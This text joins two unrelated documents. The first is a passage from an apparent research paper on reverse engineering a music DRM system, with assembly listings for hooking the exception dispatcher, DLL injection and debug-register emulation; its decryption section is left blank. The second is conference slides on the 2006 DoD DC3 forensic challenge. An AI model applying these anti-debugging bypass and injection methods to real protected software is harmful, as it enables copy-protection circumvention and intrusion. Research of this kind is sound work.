always starts at trampoline0. This trampoline is also the first one which is called from the aforementioned procedure in the protection. The address of this trampoline is randomized at runtime via the RDTSC instruction (indicated by overlapping semi- transparent boxes). The major tasks this trampoline per- forms are to copy the next trampoline (trampoline1) to a random location and to put the destination trampoline (trampolineB in this case) on the internal call stack. This internal call stack is needed to realize a call hierarchy be- tween trampolines, because there is never a direct call in- struction between trampolines but control flow depends on jumps and exceptions. As a consequence there is no mecha- nism which implicitly puts a return address on the stack to let control flow return from a nested call, so all of this logic has to be emulated by the protection. trampoline1 is ac- countable for copying the previous trampoline to a random location, installing a new exception handler and for raising a single step exception by means of code shown in listing 7. Moreover it copies parameters to a private stack area, which is used by the exception handler to forward them to the next trampoline. pushf pop eax or eax, 100h push eax popf Listing 7: Raise single step exception First the EFLAGS register is pushed on the stack, the TF bit is enabled, and the modified EFLAGS register is applied again, so before the next instruction executes, a debug exception is 8Reasoning behind this remains unclear at this time Figure 3: Control flow between trampolines generated, which ultimately ends up in the previously regis- tered exception handler. This exception handler then alters control flow by changing the instruction pointer based on the parameters copied by the previous trampoline. The handler clears the TF bit9, removes the SEH entry from the han- dler list and gives control back to the operating system. As soon as the thread is scheduled for execution, control flow resumes at trampoline2 which copies the destination tram- poline and finally jumps to trampolineB. Because of the fact that there is no classical call hierarchy be- tween trampolines, a mechanism must exist which allows the system to perform a return operation, i.e. whenever a tram- poline has finished its operations control flow must resume in the trampoline which invoked the respective trampoline. Once a trampoline wants to leave its scope, it registers a special exception handler and again raises a single step ex- ception. The handler is then called by means of SEH as usual, removes the SEH entry from the handler list, cleans the stack and sets the EIP register to the value found in the DR2 register of the supplied context. After the operating system has applied the modified context, execution resumes at a trampoline whose position is again randomized. This trampoline finally removes the returning trampoline from the internal call stack, copies the code where control flow should resume and returns to this location. While dispatching control flow to trampolines and back, the DRM system modifies the debug registers by means of the SetThreadContext API. Hardware breakpoints are switched on and off repeatedly by modifying the DR7 register to inter- fere with a possibly attached debugger. The debug registers are used by the trampolines in the following way: • DR0 and DR6 are mostly zeroed out and don’t serve a special purpose • DR1 contains a pointer to a shared stack area which is used to pass data between trampolines • DR2 holds the address of the trampoline, which is used to return from another trampoline • DR3 holds the address of the starting trampoline (trampoline0). The address is obfuscated by XORing it with 0x7FFFFFFF • DR7 is used to turn hardware breakpoints on and off very frequently The debug registers DR0 to DR3 are normally used to spec- ify the linear address of a hardware breakpoint, while DR6 9A single step exception is a trap, so it’s not necessary to clear the TF bit to let the program continue normally[5] and DR7 control options and breakpoint conditions. So by overwriting the debug registers, the breakpoint mechanism becomes unavailable for any attached debugger. 3.1.2 Impact The main purpose of using the trampoline mechanism was probably to make the problem of finding DRM relevant code more difficult. Since control flow between trampolines isn’t dispatched in a standard way a disassembler can’t easily obtain any cross referencing information, which makes it rather difficult to analyze the dependencies between differ- ent trampolines. Additionally, without understanding the mechanisms used to emulate the return logic, it is also dif- ficult to examine the call hierarchy at runtime because it is not possible to perform an execute until return operation which is supported by most debuggers. On the other hand as soon as this mechanism is understood, one gets a pre- fect call stack by watching the internal call stack emulation structure. This is obviously an advantage compared to the standard case where a perfect call stack is not available in general. Since most trampolines don’t even have a ret in- struction, deducing function boundaries also becomes harder for disassemblers. A further effect of the trampolines is the jittering of start addresses caused by the RDTSC instruction. This obviously only affects debugging and makes it a rather annoying process, because the disassembler gets confused by changing function boundaries overlapping at the same ad- dress. This impact can be alleviated as will be shown in the next section. The most severe impact is in fact caused by the usage of the debug registers, because this technique effectively blocks all hardware breakpoints. So the strategy of using BPMs to watch access attempts on the file buffer becomes infeasible. 3.1.3 Ease Impact of Trampoline Randomization The result of the RDTSC instruction is used as the seed for a PRNG, so the jittering of the trampolines can be defeated by changing the instruction result to a constant value. As a consequence, this fixes the trampolines at a constant ad- dress, which makes it easier to debug and understand the code. Fortunately, the X86 CPU allows us to turn RDTSC into a privileged instruction by modifying the TSD flag of the CR4 register. This implicates that whenever RDTSC is executed from a privilege level other than ring0, a general protection exception (#GP) is thrown. This exception is clas- sified as a fault, which means that the state of the program is saved by the processor prior to the beginning of execution of the faulting instruction. So by writing a driver to patch the interrupt descriptor table (IDT), it is possible to insert a handler, which intercepts this exception event and changes the return value accordingly. As shown in figure 4 an error code along with the instruction pointer and some other reg- isters are then passed to the exception handler, i.e. the far pointer of the descriptor at offset 13 in the IDT. Figure 4: Stack layout of #GP handler The replaced handler has to make sure that the exception originated in user-mode by checking that EIP < 0x80000000. Moreover it has to verify that the instruction which caused this fault actually was of type RDTSC. This can be achieved by disassembling the code at EIP. If these preconditions are met, the handler can set EDX:EAX to a constant value, clean the stack and return from the handler by means of IRETD. In all other cases the handler just cleans its private stack and branches to the original handler. When loaded, this driver causes each trampoline to be al- ways copied to the same address, which makes debugging a little bit more comfortable. Especially in the phase of ana- lyzing the whole trampoline mechanism, recognizing tram- polines becomes a lot easier when using the driver because of the fixed locations. A technique to completely disable the trampoline mecha- nisms could have been to set the destination trampoline ad- dress to the source address, so trampolines would be in fact not copied at all, but execute from their original source loca- tion. This goal could be reached by modifying the trampo- line control structures used internally as well as the respec- tive exception handlers, though this approach would have required a considerable amount of work in the first place. 3.2 Unblocking the Debug Registers As previously described the debug registers are used to pass parameters between trampolines and are also used to alter control flow from exception handlers. By using the registers in such a way, program logic heavily depends on the values stored in these registers. This means that it is impossible to just patch out all code related to modification of the debug registers. Instead the context APIs need to be emulated and the central exception dispatcher of the operating sys- tem (KiUserExceptionDispatcher) has to be modified for the debug registers to be available for debugging purposes. A proven mechanism to hook such API functions is to first inject a DLL into the respective process and then perform inline patching in order to dispatch control flow to an inter- nal hook function. 3.2.1 DLL Injection and API Hooking There are numerous ways of injecting a DLL into a pro- cess under windows like using SetWindowsHookEx, shellcode injection or the method of using CreateRemoteThread[6]. Since this topic has been widely discussed over the past years only the basic ideas are presented. A very reliable and flex- ible, though platform dependent, method is to inject some shellcode into the target process. This shellcode can then load the DLL in question from inside the target process. First of all the control process allocates some memory in the target process by using the VirtualAllocEx API func- tion. Memory has to be allocated for the shellcode as well as for a data structure which is used to pass the DLL path to the shellcode and to read back error codes. In the sec- ond step, the control process injects the actual shellcode via the WriteProcessMemory API and then creates a new thread at that address by means of CreateRemoteThread. The shellcode in turn loads the DLL, saves the DLL handle to the previously allocated data structure and terminates it- self. The injecting process waits until the thread handle gets signaled and reads back the DLL handle or an error code by means of ReadProcessMemory. This handle can then be used to perform remote calls at will in the target process. Figure 5 illustrates this approach. Once inside the address space of the target process, the DLL can hook into any API function used by the target process, so it is capable of modifying any functionality exposed by imported API functions. Since the DRM system builds custom stubs which scan API functions for int3 opcodes and directly jump to the respective API, inline patching is an adequate solution to this problem. API hooking was realized by using the detours package[7] avail- able from Microsoft Research. 3.2.2 Context Emulation The first step in preventing the DRM system from modify- ing the debug registers is to hook the SetThreadContext and GetThreadContext APIs, so upon invocation a hook function is executed and redirects set and get requests to an internal storage. This obviously makes it impossible for the protection system to modify the debug registers, which allows a debugger to use them. The problem with this ap- proach is, that as soon as control flow reaches an exception handler, which emulates the return logic of a trampoline, the supplied context is out of sync with the context saved in the internal storage of the injected DLL. The reason for this is, that the operating system itself passes the real thread context of the faulting thread from kernel mode down to KiUserExceptionDispatcher. From there, the thread con- text is forwarded to RtlDispatchException and finally ends up in the respective exception handler. By placing an addi- tional hook in KiUserExceptionDispatcher it is possible to re-synchronize the two contexts again, so the DRM system gets the expected values passed to the exception handler on the one hand, and the debugger can use the debug registers to place hardware breakpoints on the other hand. mov ecx, [esp+4] mov ebx, [esp+0] push ecx push ebx call RtlDispatchException or al, al jz short loc_7C91EB0A pop ebx pop ecx push 0 push ecx call ZwContinue jmp short loc_7C91EB15 loc_7C91EB0A: Figure 5: DLL Injection pop ebx pop ecx push 0 push ecx push ebx call ZwRaiseException loc_7C91EB15: add esp, 0FFFFFFECh mov [esp], eax mov dword ptr [esp+4], 1 mov [esp+8], ebx mov dword ptr [esp+10h], 0 push esp call RtlRaiseException retn 8 Listing 8: KiUserExceptionDispatcher Listing 8 shows the disassembly of KiUserExceptionDis- patcher. By looking at the disassembly it becomes obvious why this procedure is named dispatcher and that’s because there is no return address on the stack so the first parameter is accessible through [esp+0] rather than through [esp+4] as is the case with normal procedures. Care must be taken when transferring control flow from the hooked KiUserEx- ceptionDispatcher to kernel mode, otherwise random blue screens will occur due to a messed up stack10. The two pa- rameters pushed to RtlDispatchException are the thread context (ECX) and the EXCEPTION_RECORD (EBX). RtlDis- patchException in turn is responsible for all the SEH logic previously discussed. In the context of the DRM system this function will always return, signaling that an appro- priate handler has been found during handler list traversal. This means that the call to ZwContinue will always be exe- cuted. This is the system call to apply a possibly modified context, which also means that this function won’t ever re- turn unless there is a severe error. In that case an exception is thrown by means of RtlRaiseException. In order to fool the DRM one needs to pass a manipulated context to the exception handler, so the program logic of the DRM sys- tem works with the expected values previously set by the SetThreadContext API. As soon as RtlDispatchException 10Though the exact circumstances haven’t been investigated returns, the debug registers in the modified context must be replaced with the values from the real context which came from the operating system kernel. This is important be- cause these values might be in use by a possibly attached debugger. One possible strategy to solve this problem is to re-implement KiUserExceptionDispatcher. This is com- plicated a little by the fact that RtlDispatchException is not exported by ntdll.dll, so this function must be re- implemented as well. Fortunately this function doesn’t need to reassemble all the logic found in RtlDispatchException. In case of a single step exception the first handler always terminates SEH list walking, so the hook function only has to prepare all parameters for the exception handler and call it. Listing 9 shows the prologue of the hooked KiUserEx- ceptionDispatcher. Because of the fact that this is not a standard procedure, an additional element has to be pushed onto the stack, so the compiler generates valid code to access function parameters. xor eax, eax push eax push ebp mov ebp, esp sub esp, __LOCAL_SIZE Listing 9: Prologue of the hook function The compiler variable __LOCAL_SIZE gives the needed stack space allocated by compiler generated code. This value is needed because the hook function is declared with __de- clspec(naked), which means that the function prologue and epilogue have to be manually crafted. After the prologue the hook function has to check if the exception is of type sin- gle step and if this is the case, the corresponding values for the debug registers are retrieved from the internal storage based on the current thread ID. All parameters the handler expects are then prepared and are passed along with the manipulated context to the first exception handler found at [fs:0]. The handler in turn modifies the context, so upon return all modified parts have to be merged with the real context supplied by the operating system. Afterwards a call is made to NtContinue similar to the original implementa- tion found in KiUserExceptionDispatcher. Because control flow at this point is in the hooked function and the call to NtContinue won’t return, care needs to be taken concerning stack cleanup. The stack must be reset to the state as if the hooked function would have never executed. This is shown in listing 10. mov ecx, pContext mov edx, [NtContinue] add esp, __LOCAL_SIZE pop ebp pop eax xor eax, eax push eax push ecx call edx Listing 10: Applying the manipulated context First of all the modified context is fetched and the stack space used by the compiler generated code is cleaned up. The next step is to reset the original base pointer and pop the fake return address from the stack. Finally NtContinue with a pointer to the manipulated context is called and the current thread will be resumed with the new context on the next schedule. If the exception is not of type single step the original implementation of KiUserExceptionDispatcher is called in a similar way. By using the techniques outlined in this section, an attached debugger is able to provide the features of hardware break- points, so the strategy as proposed in the beginning can be carried out. 3.3 P-Code Machine The last obstacle which needs to be taken is to analyze the usage of a P-Code machine which is used to implement the actual decryption algorithm and the associated key setup. The P-Code machine is stack based, so all parameters to the opcodes are pushed and popped of the machine stack. Be- sides this implementation includes a special register, which receives the result of the respective operation. The instruc- tion set of the emulated CPU overlaps to some extent with the instruction set of the X86 architecture, especially with regard to the arithmetic instructions. Apart from that, the arithmetic instructions of the emulated CPU aren’t involved in the decryption or in the key setup, so these haven’t been analyzed thoroughly. All in all, the CPU has 256 different opcodes with a fixed length of 1 byte. The set of available op- codes is split into two parts. The first part contains opcodes which are responsible for emulating operations of the CPU itself, like stack manipulation, arithmetic instructions and so on. In contrast, the other opcodes are used to dispatch control flow to handlers containing native code for high level operations, e.g. there are handlers to load opcode modules or to allocate memory from the host machine. The algo- rithms for decryption of the DRM protected content as well as the routines involved in the key setup are also triggered by means of these high level opcodes. 3.3.1 Opcode Module Files The actual P-Code is not directly included in the applica- tion, instead it is contained in special opcode module files. There are about twenty different opcode modules which are explicitly loaded from files and 30 more modules which are uncompressed from a special module. This file also includes the code for the P-Code machine itself and is in fact loaded by a special trampoline. This opcode module is decom- pressed at runtime via the zlib[8] library. The 30 intrin- sic opcode modules include functionality to de/encode mu- sic files, perform decryption of DRM content and carry out several cryptographic tasks, to name but a few. After the P-Code machine has been set up, these intrinsic modules are uncompressed and initialized via special handlers of the P-Code machine. An opcode module is made of a short header with a sig- nature indicating, that this is in fact an opcode module, and some important meta data, like an offset to the relo- cation table, the size of the module and its name. Figure 6 shows some important fields of the header. Just behind the header is a block of 256 random bytes. These bytes are module specific and are used to permute the assignment of opcodes and the belonging handler on a per-module basis. This basically means that opcodes have a completely differ- ent meaning across opcode modules, making it more difficult to identify opcodes when analyzing several opcode modules. Since the modules are loaded into memory by means of mem- ory mapped files the image base address cannot be known in advance at compile time. For this reason opcode mod- ules have a relocation table, which allows for rebasing of each module. Relocation items fall into different categories, e.g. some opcode modules have references to the C runtime which are redirected to the import address table (IAT) of the application. The remaining relocation items are simple module intrinsic calls, jumps or data offsets. Each reloca- tion entry utilizes 8 bytes and has a 4 byte identifier which tells the rebasing algorithm the type of fix needed for the current item. The remaining 4 bytes compose the actual value to be inserted at the respective address. In addition to this, module intrinsic calls were removed beforehand, so these are fixed by this mechanism, too. Figure 6: Opcode Module Header In order to harden the protection established by the P-Code machine, opcodes taken from the opcode modules are not used directly. Instead opcodes are descrambled at runtime by means of a PRNG which is part of the P-Code machine it- self. Besides that garbage data is interleaved with the actual opcodes to complicate understanding of the machine logic. To further complicate analysis all data items are stored and retrieved in an ASN.1 format, so opcode handler logic is interleaved with ASN.1 parsing code. 3.3.2 Finding the Decryption Routines The use of a P-Code machine to obfuscate program logic on the one hand and data flow on the other hand is a very good strategy to make reverse engineering a tedious process, because existing tools at least have to be extended to be of major use. Compared to native code, analysis of a certain amount of program logic is much more tedious, because the amount of code executed to perform this very logic is much higher. In this sense the P-Code machine lowers the sig- nal to noise ration tremendously. Especially online analysis becomes a very tedious process because one has to trace through the same (handler-)code over and over gain. So the major problem in this case was to spot the code which contributes to the decryption algorithm and the associated key setup. Possible strategies to overcome the effects of the P-Code machine could be to 1. write a custom disassembler to be able to analyze the program logic 2. use debugger scripts to trace until code writes the key to memory 3. use emulation to find the algorithm 4. use hardware breakpoints to back trace from code which accesses input data Of course this list is not complete but rather names the most obvious ideas to overcome the protection in this case. Op- tion 1 seems to be the most expensive strategy especially in this case because of the high number of opcodes and the complexity of the high level handlers, which would need to be fully understood in order to create a meaningful disas- sembly listing. Besides that the whole opcode randomiza- tion algorithm would have to be reassembled, too. The sec- ond option is extremely slow since tracing consumes a fairly amount of CPU resources, although some techniques have been researched trying to overcome this restriction[9]. The third solution in contrast provides reasonable speed and a very high level of flexibility, because obviously every single CPU feature can be controlled by using emulation[10, 11], and could be rated as the most elegant strategy. The strat- egy used in this case makes use of the debug registers in order to track code which accesses data read from a DRM protected music file. By using this technique it is very easy to break directly at the decryption algorithm, which is a sim- ple DES in CBC mode[1]. It turned out that this decryption routine was in fact one of the high level handlers, i.e. it was implemented in native code, so it could be easily reverse en- gineered. Besides knowing the decryption algorithm itself it is of course essential to be able to reproduce the key setup. Any DRM protected file is decrypted in chunks of 0x1800 bytes. In every decryption pass the key setup and the key itself are destroyed after decryption of the respective file buffer, i.e. both data structures are overwritten with ze- ros. Since both data structures are dynamically allocated in each pass, the use of BMPs is not suitable for finding the key setup, because the address of the certain buffer is un- known in advance. The P-Code machine manages memory allocations similarly to heap implementations used in high level languages such as C/C++, i.e. there are multiple lists of memory chunks of different sizes. This memory manage- ment system is particularly used by the P-Code machine to allow the programs running inside the machine to dynam- ically allocate memory. Moreover the routines for decom- pressing the opcode modules also make use of this memory management system. So whenever a new buffer for the key setup is allocated, control flow will go through the memory management function, which obviously needs to receive the desired size of the memory block as a parameter. For a single DES key setup this size is always 0x80 bytes. Finding the key setup can then be easily achieved by just setting a condi- tional breakpoint inside the memory management function and finally using a BPM to trace write operations to this buffer in order to break right inside the routine perform- ing the actual key setup algorithm. The last step is now to trace all input data the key setup algorithm uses to derive the actual decryption key. Again this is no problem because hardware breakpoints can be used to spot relevant code. 4. DECRYPTING THE CONTENT Due to legal issues this section has been intentionally left blank. 5. CONCLUSION On the whole the DRM system offers pretty good protec- tion mechanisms both against offline reverse engineering and against debugging. Anyhow some flaws do exist which made the process of breaking the whole system easier than it should have been. For one the usage of the debug regis- ters to block any attempts to easily trace memory access is an effective technique, for another breaking this protection could have been much harder if the debug registers actu- ally would have been used to set hardware breakpoints, so control flow would have depended on the BPMs firing. In this way an emulation would have been impossible and re- claiming the debug registers would have required much more intrusive measures such as patching of the protection code inside the DRM itself. Another very obvious flaw is the weak debugger detection, which only relied upon the debug flag in the PEB, which of course can be trivially patched out, and the use of fake exceptions. Many much more elaborate techniques for debugger detection exist. Using mechanisms like Virtual Machines to carry out the core protection algorithms is a very good technique and will probably become more important in newer protection mech- anisms[12, 13]. The complexity of the P-Code machine in this case could be defeated by the use of the reclaimed debug registers. In case the decryption algorithm and its associ- ated key setup would have been emulated by the virtual CPU, this approach would have been infeasible. On the other hand this would have meant a fair increase in devel- opment time and complexity while designing the protection. It is quite evident that the number of ideas one can think of to make the process of reverse engineering more difficult is only limited by creativity and in the end every concept fun- damentally based on a software protection mechanism can and probably will be broken. APPENDIX A. REFERENCES [1] Scott A. Vanstone Alfred J. Menezes, Paul C. van Oorschot. Handbook of Applied Cryptography. CRC Press, 1996. [2] Hex-Rays. IDA Pro. http://www.hex-rays.com/idapro/. [3] Matt Pietrek. A Crash Course on the Depths of Win32 Structured Exception Handling. http://www.microsoft.com/msj/0197/exception/ exception.aspx. [4] Nicolas Falliere. Anti debugging techniques. http://www.securityfocus.com/infocus/1893. [5] Intel. Intel 64 and IA-32 Architectures Software Developer’s Manual - Volume 3A: System Programming Guide Part 1. http: //www.intel.com/products/processor/manuals/. [6] Jeffrey M. Richter. Programming Applications for Microsoft Windows (Microsoft Programming Series). Microsoft Press Books, 1999. [7] Microsoft Research. Detours. http://research.microsoft.com/sn/detours/. [8] zlib. zlib library. http://www.zlib.net/. [9] McAfee. umss: efficient single stepping on Win32. http://www.avertlabs.com/research/blog/?p=140. [10] Cody Pierce. PyEmu: A Multi-Purpose Scriptable x86 Emulator. http://dvlabs.tippingpoint.com/appearances/. [11] Jeremy Cooper Chris Eagle. The x86 Emulator plugin for IDAPro. http://ida-x86emu.sourceforge.net/. [12] Rolf Rolles. Defeating HyperUnpackMe2 With an IDA Processor Module. https://www.openrce.org/articles/full_view/28. [13] Benjamin Jun Carter Laren Nate Lawson Paul Kocher, Joshua Jaffe. Self-protecting digital content. http://www.cryptography.com/resources/ whitepapers/SelfProtectingContent.pdf.
pdf
Cool stuff learned from the Department of Defense Cyber Crime Digital Forensic Challenge (2006) David C. Smith, CISSP CISM Georgetown University with contributions from Mike McDonanld, The Professionals” (3rd Place Team, Florida State University) A little bit about me..  Information Security Professional, in IT over 18 years, mostly as a consultant in some capacity.  Work at GU, have a small consulting company – HCP Forensic Services http://www.hcp-fs.com  B.S. Computer Science, working toward my masters in IA. Team Hoya Haxa!  DC3 limits the teams to 4.  Mickey Lasky, Sr. Security Analyst  Trent Beckett, Security Analyst  Jon Hesson, Security Intern  David Smith  Almost all off-hours, team lunches on me.  Most of us have 2+ years of digital forensic work & investigations.  We thought it would be cool to learn something new & develop existing skillz.  Hoya Haxa? DC3 Challenge  DC3 = Department of Defense Cyber Crime Center  Defense Cyber Crime Institute  Defense Computer Forensics Laboratory  Defense Cyber Investigations Training Academy  RDT&E – Research, Development, Testing, and Evaluation.  This challenge – Cheap R&D?  We heard about this challenge from a Slashdot article and a follow-up in Network World. DC3 Challenge (now called the 2006 Challenge)  Quick breakdown of the competitors  Academic, 61 entries.  Civilian, 25 entries.  Commercial, 21 entries.  Government, 7 entries.  Military, 6 entries.  Countries represented  US, Australia, Canada, France, India.  Total teams 140  Prize is all expense paid trip to DC3 Conference + bragging rights! DC3 Challenge  01 August 2006: Registration Began.  01 September 2006: Challenges Sent.  01 December 2006: Last Day to Submit.  15 December 2006: Winning Team Announced.  21-26 January 2007: DoD Cyber Crime Conference (Prize).  So, basically we got 3 months to knock these challenges out! Rules of Engagement  After the challenge registrations ballooned to 140, DC3 changes the rules to the first 100 submitted solutions are eligible to win.  Must submit solutions in DC3 report format to receive credit.  You do not have complete all challenges, submit what you have completed.  Commercial tools can be used, copies of created tools must be submitted (exe).  Secret Bonus is out there, somewhere. Challenges  10 Challenges, plus secret challenge.  Media Recovery  CD in 2 pieces (1000), floppy disk in 2 pieces (300).  Data Carving on a Linux LVM (250).  Data Acquisition, Boot a DD image (250).  Data Acquisition, Boot a split DD image (500).  Image Analysis, Real or CG (200).  Keylog cracking (250).  Password cracking (250).  Steganography using S-tools (200).  Audio Steganography (250). DC3 Digital Forensic Challenge  Media Recovery: Compact-disc  Examiners must develop and document a methodology used to recover data from a damaged compact-disc. You will be expected to recover a piece of known data from the CD. Points will be awarded for successfully extracting data from the compact-disc.  Total Weighted Points: 1000 DC3 – Damaged Media CD  44% got full points (11 in 25). Top 11 teams got 100 points.  No partial points given or available. Top 5 Scoring  AccessData, 0x28 Thieves, Professionals, Hoya Haxa, Hacker Factor, SRS, CodeMonkeys, NUCIA, DFAT, Backbone Security, Pirate DC3 – Damaged Media CD  1st challenge to fall - on the first day!  We split CDs and tested, tested, tested. DC3 – Damaged Media CD  SA Mickey Lasky discovered D-Skins. http://www.d-skin.com/  Snap It On:  Leave It On: DC3 – Damaged Media CD  A little tape – and ready to be read. This looks beat up – but it looked better when we started. DC3 – Damaged Media CD  We read the disk to 11MB (the split). DC3 Digital Forensic Challenge  Media Recovery: Floppy Diskette  Examiners must develop and document a methodology used to recover data from a damaged floppy diskette. You will be expected to recover a piece of known data from the floppy. Points will be awarded for successfully extracting data from floppy diskette.  Total Weighted Points: 300 DC3 – Damaged Media Floppy  20% got full points (5 in 25). Top 4 teams, plus the 6th place finisher got 300.  No partial points given or available. Top 5 Scoring  AccessData, 0x28 Thieves, Professionals, Hoya Haxa, DC3 – Damaged Media Floppy  Similar work-up as CD. We carefully examined the evidence floppy and started testing. DC3 – Damaged Media Floppy  We must have tried 20+ methods: Tape  One side / both sides [small pics of tape]  Thin strips.  Only on the edges. Superglue  Carefully smooth the superglue on the cut. Nail Polish  Carefully applied. DC3 – Damaged Media Floppy  Our best results were with very thin strips of film splicing tape on one side.  Also, we found it best to open the new media container a little as possible. DC3 – Damaged Media Floppy  Our old friend:  dd -if=/dev/hdc -of=dc3floppy.img conv=noerror, sync  Secret message was "Jack Bauer is my hero!". DC3 Digital Forensic Challenge  Data Acquisition - Boot a DD Image  Examiners must develop and document a methodology for booting a dd image without reconstructing the media with normal conventions. A dd image can be found in the dd Image folder. You will be expected to develop a method to conduct a live analysis of a dd image by booting the dd image as if it was the local partition housing the bootable operating system. Points will be awarded for your proof of analysis by means of your methodology.  Total Weighted Points: 250 DC3 - Boot a DD Image  16% got full points (4 in 25). First, fourth, fifth, and 19th place scored 250 points.  20% got partial points (5 in 25). 5 teams got 125 points of 250 (50%). Top 5 Scoring  AccessData, Hoya Haxa, and Hacker Factor (Dr. Krawetz) got the full points. DC3 - Boot a DD Image  Initial analysis show the image to be a partition image, ext3, linux kernel 2.6.  Understanding the challenge means booting in a VM.  Identified issues: Partition image needs to be converted to disk image. Partition image does not have MBR / boot manager and can not boot. DC3 - Boot a DD Image  First things first Create an image to become our “disk” image.  qemu-img create disk.img 1G Boot up small linux and partition it  qemu –L . –hda linux.bin –hdb disk.img  fdisk /dev/hdb n (new), p (primary), 1, [first], [last], w (write) DC3 - Boot a DD Image  Boot and migrate from partition to disk  qemu –L . –hda linux.bin –hdb disk.img –hdc image.dd (challenge dd)  dd from partition to disk  dd if=/dev/hdc of=/dev/hdb1  Now we have a disk image that is ready to be booted! DC3 - Boot a DD Image  Now I boot to my small version of CentOS that contains GRUB as my 1st disk and our new “disk image”  qemu –L . –hda linux-boot –hdb disk.img DC3 - Boot a DD Image  From the GRUB prompt, force the boot to our “disk image”  c for grub command line.  root (hd1,0) #1st hd, part 0  kernel /boot/vmlinuz-2.6.9-1.667 root=/dev/hdb1  initrd /boot/initrd-2.6.9-1.667.img  boot DC3 - Boot a DD Image DC3 - Boot a DD Image DC3 Digital Forensic Challenge  Data Acquisition: Boot a Split dd Image  Examiners must develop and document a methodology for booting a split dd image without reconstructing the media with normal conventions. A split dd image can be found in the Split dd Image folder. You will be expected to develop a method to conduct a live analysis of a split dd image by booting the split dd image as if it was the local partition housing the bootable operating system. You may not concatenate the slices of the dd image into one piece. Points will be awarded for your proof of analysis by means of your methodology.  Total Weighted Points: 500 DC3 – Split DD  4% got full points (1 in 25). First place finisher scored 500 points.  12% got partial points (3 in 25). 3 teams got 250 points of 500 (50%). Top 5 Scoring  AccessData got the 500 points  0x28 Thieves, Professionals, and Hacker Factor (Dr. Krawetz) got 250 points. DC3 – Split DD  We did not get any points for this based on my screw-up of the challenge write-up.  Hoping to get partial points Boot would be similar to boot DD.  Combine files in some sort of VM disk configuration file DC3 – Split DD ##################### ### "Boot split DD" #### #################### # Extent description RW 63 FLAT "mbr.img" 0 RW 614400 FLAT "image.dd_aa" 0 RW 614400 FLAT "image.dd_ab" 0 RW 602560 FLAT "image.dd_ac" 0 RW 409600 FLAT "buffer.img" 0 # The Disk Data Base (DDB) ddb.adapterType = "ide" ddb.geometry.sectors = "32" ddb.geometry.heads = "128" ddb.geometry.cylinders = "537" ddb.geometry.biosSectors = "32" ddb.geometry.biosHeads = "128" ddb.geometry.biosCylinders = "537" ddb.virtualHWVersion = "3" ddb.toolsVersion = "0" * Content provided by “The Professionals” (3rd Place Team, Florida State University) *  Use VMware VMDK format to combine images into a single virtual drive  Run fdisk to repartition the new disk using evidence gathered from system files  /root/anaconda-ks.cfg  /etc/fstab  /etc/mtab  /boot/grub.conf DC3 Digital Forensic Challenge  Data Carving: Linux LVM Interpretation  Examiners must develop and document a methodology used to interpret a Logical Volume Management (LVM) partition. An image of an LVM partition can be found in the LVM folder. You will be expected to develop a method to effectively analyze and recover a deleted file from an LVM partition. Points will be awarded for your proof of analysis by means of your methodology.  Total Weighted Points: 250 DC3 – Data Carving  20% got full points (5 in 25). Top 4 and 6th place finishers got 250 points.  8% got partial points (2 in 25). 2 teams got 25 points of 250 (10%). Top 5 Scoring  AccessData, 0x28 Thieves, Professionals, Hoya Haxa, SRS (Action Front) all got the full points. DC3 – Data Carving  Initial analysis shows that it is indeed an LVM volume. Importing into our forensic viewers (FTK, Autopsy, Encase, WinHex) gave us no OS interpretation.  Issues identified were  Converting a Logical Volume Management partition into a carve-able filesystem. How do we find the files to carve? DC3 – Data Carving  It’s LVM and you need to process it for deleted files – so you need to “unwrap” it.  Create a Qemu disk  qemu-img create myimage.img 1G  Boot in Qemu with Helix  qemu -L . -cdrom Helix.iso -hdb lvm.dd -hda myimage –boot d DC3 – Data Carving  Find volume and make active  Pvscan PV /dev/hdb VG VolGroup00 lvm2 [896.00 MB / 32.00 MB free] Total: 1 [896.00 MB] / in use: 1 [896.00 MB] / in no VG: 0 ]  Vgchange –ay VolGroup00 1 logical volume(s) in volume group "VolGroup00" now active DC3 – Data Carving  Make an image  dd if=/dev/VolGroup00/LogVol00 of=dev/hda 1769472+0 records in 1769472+0 records out 905969664 byes (906 MB) copied 617.905 seconds, 1.5 MB/s  Now we see it as ext3 filesystem  2 folders, root and Lost+Found DC3 – Data Carving  Root sector (physical sector 4408) contained:  020000000c0001022e000000020000000c0002022e2e000 00b000000e80f0a026c6f73742b666f756e6400000c0000 0018000f012e726561646d652e7478742e737770000d000 000bc0f0a01726561646d652e747874742e0e000000a80f 0f012e726561646d652e7478742e73777800  Sorry – text, please DC3 – Data Carving  Root sector (physical sector 4408) contained our next lead, the names of deleted files:  ...................... ......lost+found.. ........readme.txt.swp. ......readme.txtt..........readme.txt.swx.................  Running down the wrong path, like I seem to do often – this is a data carving challenge – so… Data carving means Scalpel (foremost), reading up on magic recovery and FTtimes. DC3 – Data Carving  Lots of files – no help, sifting through all files found with all signatures on.  Then it hits me! .readme.txt.swp  Scour the Internet for the magic of vi/vim swap files.  Look high and low for the format of vi/vim swap files. DC3 – Data Carving  No real luck - so I just created one myself! vi readme.txt kill `pidof vi`  Read the file in hex and the magic is: 62 30 56 49 4D 20 36 2E 33 b 0 V I M 6 . 3 DC3 – Data Carving  Not wanting to miss on version, I choose 62 30 56 49 4D (b0VIM) Got 4 hits!  Root /home/readme.txt  Root /etc/mail.helpfile  Root /test/readme.txt  Root: /boot/grub/menu.lst DC3 – Data Carving  Challenge solved:  b0VIM 6.3........$.D...$U..root............................ ........localhost.localdomain.................../home /readme.txt.... <snip> .Water is a refreshing beverage! DC3 Digital Forensic Challenge  Metadata Extraction  Examiners must develop and document a methodology used to recover the contents of several files. These files will vary in type and the information will be found in several different metadata standards. Clues will be given to help participants know what to look for in each file.  Total Weighted Points: 200 DC3 – Metadata Extraction  Metadata Data about data – information about data. Yes, you can be data and metadata at the same time.  The challenge – 13 files and 23 questions.  5 .jpg, 1 .gif, 1 .eps, 1 .raw, 1 mp3, 1 .mov, 1 .wav, 1 .ra. DC3 – Metadata Extraction DC3 – Metadata Extraction 5.7 mm Focal Length F5.7 Aperture Value F5.5 F-Number 1/500 sec Exposure Time © by Caplio Pro G3 Copyright Datum point YCbCr Positioning 1/72 inches Resolution Unit 1/72 inches Y Resolution 1/72 inches X Resolution 2003:11:13 15:53:45 Date/Time Top, left side Orientation Caplio Pro G3 Model RICOH Make 61 metadata datums found! WGS-84 GPS Map Datum True direction GPS Track Ref 0 GPS Speed Knots GPS Speed Ref Measurement in progress GPS Status 27,13,10 GPS Satellites 19:59:14 UTC GPS Time-Stamp 402 meters GPS Altitude 117:15’51.87 GPS Longitude W GPS Longitude Ref 